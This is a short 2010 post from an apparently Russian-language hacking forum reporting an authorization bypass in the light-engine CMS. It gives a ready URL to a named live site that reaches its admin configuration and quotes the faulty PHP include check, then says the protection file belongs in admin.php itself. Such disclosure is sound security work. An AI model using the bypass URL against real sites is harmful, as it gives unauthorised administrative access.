Показать сообщение отдельно

  #7  
Старый 10.03.2010, 11:02
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Обход авторизации:
http://light-engine.ru/beta/?page=/admin&act=config

index.php
PHP код:
if ($_GET ['page'] == 'admin') { include_once ("data/protection.inc.php"); }; 
Это крайне тупо, data/protection.inc.php надо подключать в любом случае в самом page/admin.php
 
Ответить с цитированием